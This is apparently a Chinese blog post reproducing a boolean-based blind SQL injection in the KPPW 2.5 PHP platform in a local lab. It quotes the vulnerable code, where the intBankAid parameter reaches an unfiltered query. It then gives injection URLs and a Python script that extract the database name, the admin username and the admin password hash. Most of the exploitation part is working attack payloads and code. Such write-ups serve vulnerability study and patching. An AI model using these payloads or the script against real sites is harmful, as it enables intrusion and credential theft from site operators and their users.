KPPW2.5 漏洞利用--SQL注入
KPPW2.5 漏洞利用--SQL注入
SQL注入--布尔型盲注
环境搭建
1,集成环境简单方便,如wamp,phpstudy....
2,KPPW v2.2源码一份(文末有分享)放到WWW目录下面
3,安装,访问(http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/install/index.php),选择下一步,下一步,填写数据库信息,后台管理员账号密码等等。




上述,漏洞复现平台搭建成功。
首页(http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php)。
漏洞分析
/control/user/account_auth.php文件
$arrAllowAuth = array('realname','enterprise','bank','mobile','email');
if ($code&&in_array($code,$arrAllowAuth)) {
$code or $code = $keys ['0'];
$code or kekezu::show_msg ( $_lang ['param_error'], "index.php?do=auth", 3, '', 'warning' );
$auth_class = "keke_auth_" . $code . "_class";
$objAuth = new $auth_class ( $code );
$auth_item = $arrAllAuthItems [$code];
$auth_dir = $auth_item ['auth_dir'];
$arrAuthInfo = $objAuth->get_user_auth_info ( $gUid, 0, $intBankAid );
require S_ROOT . "/auth/$code/control/index.php";
require keke_tpl_class::template ( 'auth/' . $code . '/tpl/' . $_K ['template'] . '/'.$step );
die;
} else {
$real_pass = keke_auth_fac_class::auth_check ( 'enterprise', $gUid ) or $real_pass = keke_auth_fac_class::auth_check ( "realname", $gUid );
$arrHasAuthItem = keke_auth_fac_class::get_auth ( $gUserInfo );
$arrUserAuthInfo = $arrHasAuthItem ['info'];
}
仔细看看这里的:
$arrAuthInfo = $objAuth->get_user_auth_info ( $gUid, 0, $intBankAid );
这里的变量$intBankAid进入了函数get_user_auth_info函数 跟进函数get_user_auth_info
/lib/sys/keke_auth_base_class.php:
public function get_user_auth_info($uid,$is_username=0,$show_id=''){
$sql="select * from ".TABLEPRE.$this->_auth_table_name;
if($uid){
$is_username=='0' and $sql.=" where uid = '$uid' " or $sql.=" where username = '$uid' ";
$show_id and $sql.=" and ".$this->_primary_key."=".$show_id;
$sql .=" order by $this->_primary_key desc";
$data = db_factory::query($sql);
if(sizeof($data)==1){
return $data[0];
}else{
return $data;
}
}else{
return array();
}
接收到的变量$intBankAid——$show_id,然后$show_id进入$sql 整个过程中变量$intBankAid未过滤,
最后进入$sql进入数据库,导致sql注入漏洞。
漏洞利用
准备:注册个账号登陆上去,绑定银行卡,进入银行认证的环节,也就是存在SQL注入的页面(http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147)。
首先用 and 1=1 和 and 1=2 判断
http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and 1=1

http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and 1=2

接下来就进行布尔盲注。
判断数据库长度:
http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and (select (length(database())))=6--+-

查看数据库名字:
http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and (select ascii(substr(database(),1,1)))=107--+-

查看后台管理员账号:
http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and ascii(substr((select username from keke_witkey_member order by uid limit 0,1),1,1))=97--+

查看后台管理员密码:
http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and ascii(substr((select password from keke_witkey_member order by uid limit 0,1),1,1))=102--+

上面写了个简单的python小脚本
#coding=utf-8
#by orange
import requests
import string
database_length=0
database_name=''
username=''
houtai_name=''
houtai_pass=''
url="http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147"
headers={
'Cookie':'PHPSESSID=qugpfg8d0bclq4k2mhm57f9426'
}
'''
数据库长度
print("数据库长度")
for i in range(1,10):
payload=" and (select (length(database())))=%d--+-" % i
length=requests.get(url+payload,headers=headers)
print("正在测试......")
print i
if "622***018" in length.text:
print("数据库长度:")
print i
database_length=i
break
'''
'''
print("数据库名字")
for i in range(1,7):
for j in range(1,123):
payload = " and (select ascii(substr(database(),%d,1))) = %d--+-"%(i,j)
database_name1 = requests.get(url+payload,headers=headers)
if "622***018" in database_name1.text:
database_name+=chr(j)
print i
print database_name
break
'''
'''
print("后台账号:")
for i in range(1,6):
for j in range(97,123):
payload = " and ascii(substr((select username from keke_witkey_member order by uid limit 0,1),%d,1))=%d--+"%(i,j)
houtai_name1 = requests.get(url+payload,headers=headers)
if "622***018" in houtai_name1.text:
houtai_name+=chr(j)
print i
print houtai_name
break
'''
'''
print("后台密码:")
for i in range(1,33):
for j in range(33,123):
payload = " and ascii(substr((select password from keke_witkey_member order by uid limit 0,1),%d,1))=%d--+"%(i,j)
houtai_pass1 = requests.get(url+payload,headers=headers)
if "622***018" in houtai_pass1.text:
houtai_pass+=chr(j)
print i
print houtai_pass
break
'''
注入部分截图:




源码链接(链接: https://pan.baidu.com/s/1ggwXqBD 密码: 3ndt)
本文链接(http://www.cnblogs.com/Oran9e/p/8261750.html),转载请注明。
任重而道远!
KPPW2.5 漏洞利用--SQL注入的更多相关文章
- 利用SQL注入漏洞登录后台的实现方法
利用SQL注入漏洞登录后台的实现方法 作者: 字体:[增加 减小] 类型:转载 时间:2012-01-12我要评论 工作需要,得好好补习下关于WEB安全方面的相关知识,故撰此文,权当总结,别无它意.读 ...
- Nikto是一款Web安全扫描工具,可以扫描指定主机的web类型,主机名,特定目录,cookie,特定CGI漏洞,XSS漏洞,SQL注入漏洞等,非常强大滴说。。。
Nikto是一款Web安全扫描工具,可以扫描指定主机的web类型,主机名,特定目录,cookie,特定CGI漏洞,XSS漏洞,SQL注入漏洞等,非常强大滴说... root@xi4ojin:~# cd ...
- KPPW2.2 漏洞利用--文件下载
KPPW2.2 漏洞利用--文件下载 任意文件下载漏洞 环境搭建 1,集成环境简单方便,如wamp,phpstudy.... 2,KPPW v2.2源码一份(文末有分享)放到WWW目录下面 3,安装, ...
- KPPW2.7 漏洞利用--文件上传
KPPW2.7 漏洞利用----文件上传 文件上传导致任意代码执行 搭建环境 1,集成环境简单方便,如wamp,phpstudy.... 2,KPPW v2.7源码一份(文末有分享)放到WWW目录下面 ...
- 如何利用sql注入进行爆库
SQL注入能做什么 在<SQL注入基础>一文介绍了SQL注入的基本原理和实验方法,那接下来就要问一下,SQL注入到底能什么? 估计很多朋友会这样认为:利用SQL注入最多只能获取当前表中的所 ...
- 利用SQL注入漏洞登录后台
所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询 ...
- discuzX3.2 X3.4网站漏洞修复 SQL注入与请求伪造攻击利用与修复
2018年12月9日,国内某安全组织,对discuz X3.2 X3.4版本的漏洞进行了公开,这次漏洞影响范围较大,具体漏洞是discuz 的用户前段SQL注入与请求伪造漏洞,也俗称SSRF漏洞,漏洞 ...
- 利用SQL注入漏洞登录后台的实现方法 。。。。转载
一.SQL注入的步骤 a) 寻找注入点(如:登录界面.留言板等) b) 用户自己构造SQL语句(如:' or 1=1#,后面会讲解) c) 将sql语句发送给数据库管理系统(DBMS) d) DBMS ...
- WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案(转)
对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...
随机推荐
- 利用 httpmodule 强制所有页面使用同一基类
public class OMSPageChecker : IHttpModule { public void Dispose() { } public void Init(HttpApplicati ...
- Jenkins部署项目
第三首先部署好Jenkins 新建一个自由项目 svn地址,credentials是指认证,点击Ad那里添加,并选择username和password方式,并输入用户名和密码 H/5 * * * * ...
- Singer 学习一 使用Singer进行mysql 2 postgres 数据转换
Singer 因为版本的问题,推荐的运行方式是使用virtualenv,对于taps&& target 的运行都是 推荐使用此方式,不然包兼容的问题太费事了 备注: 使用docker- ...
- Flex Cairngorm框架知识整理
简介: Cairngorm是一个开源的Flex项目,为FLex提供了一个类似MVC的体系结构框架,它是Flex RIA开发的最好框架之一.使用Cairngorm框架可以大大提高开发和维护的效率. Ca ...
- 适配器模式adepter
1. 主要优点 无论是对象适配器模式还是类适配器模式都具有如下优点: (1) 将目标类和适配者类解耦,通过引入一个适配器类来重用现有的适配者类,无须修改原有结构.(适配者得结构 (2) 增加了类的透明 ...
- PHP socket 服务器框架集
1.Swoole:重新定义PHP PHP语言的高性能网络通信框架,提供了PHP语言的异步多线程服务器,异步TCP/UDP网络客户端,异步MySQL,数据库连接池,AsyncTask,消息队列,毫秒定时 ...
- Ionic 使用karma进行单元测试
1. 创建Ionic工程 ionic start projectname cd projectname 2.安装karma插件 npm install karma karma-jasmine karm ...
- C# 控件
.ascx:Web窗体用户控件.用来存放独立的用户控件,可提供众多页面使用: <%@ Control Language="C#" AutoEventWireup=" ...
- git 仓库相关命令
git配置文件 : .git/config 配置存储远程连接用户信息 [credential] helper = store 配置www用户下默认git pull账号和密码,这样每一个新加的项目都不用 ...
- Windows Server 2016 禁止自动更新后重启
管理员运行cmd 输入Sconfig, 选择5,选择m